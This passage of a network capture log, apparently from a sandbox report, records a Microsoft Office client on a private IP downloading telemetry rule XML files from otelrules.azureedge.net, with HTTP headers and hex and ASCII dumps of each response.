61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:42 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:42 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114542Z-16849878b78qg9mlz11wgn0wcc00000001g000000000cdqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:43 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:43 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:43 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: e081a540-501e-0035-2133-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114543Z-16849878b78smng4k6nq15r6s400000003eg000000009qh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:43 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:43 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 92c6748a-601e-0001-5ca3-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114543Z-15b8d89586frzkk2umu6w8qnt80000000hdg000000005vqz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:43 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:43 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:43 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114543Z-16849878b786jv8w2kpaf5zkqs00000000x00000000043n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:43 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:44 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:44 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:44 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: f68adee2-f01e-0099-6b56-269171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114544Z-17c5cb586f6mhqqb91r8trf2c800000002ug000000004rgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:44 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:44 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:44 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114544Z-16849878b78zqkvcwgr6h55x9n00000001b000000000czft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:44 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:44 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 6a505d8a-f01e-003f-30cf-25d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114544Z-17c5cb586f66g7mvbfuqdb2m3n0000000250000000001t1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:44 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:44 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:45 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:45 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: c362eb52-101e-0017-38f3-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114545Z-15b8d89586flzzks5bs37v2b9000000006ag000000000xa9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:45 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:45 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:45 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:45 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114545Z-16849878b78fkwcjkpn19c5dsn00000000xg00000000bb6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:45 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:45 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:45 UTC	591	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:45 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114545Z-16849878b78g2m84h2v9sta29000000000u000000000cpvm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:45:45 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:45 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:46 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:45 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 2d9e7036-b01e-0097-31a8-264f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114545Z-17c5cb586f64v7xs992vpxwchg00000001xg000000006vp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:46 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:45 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
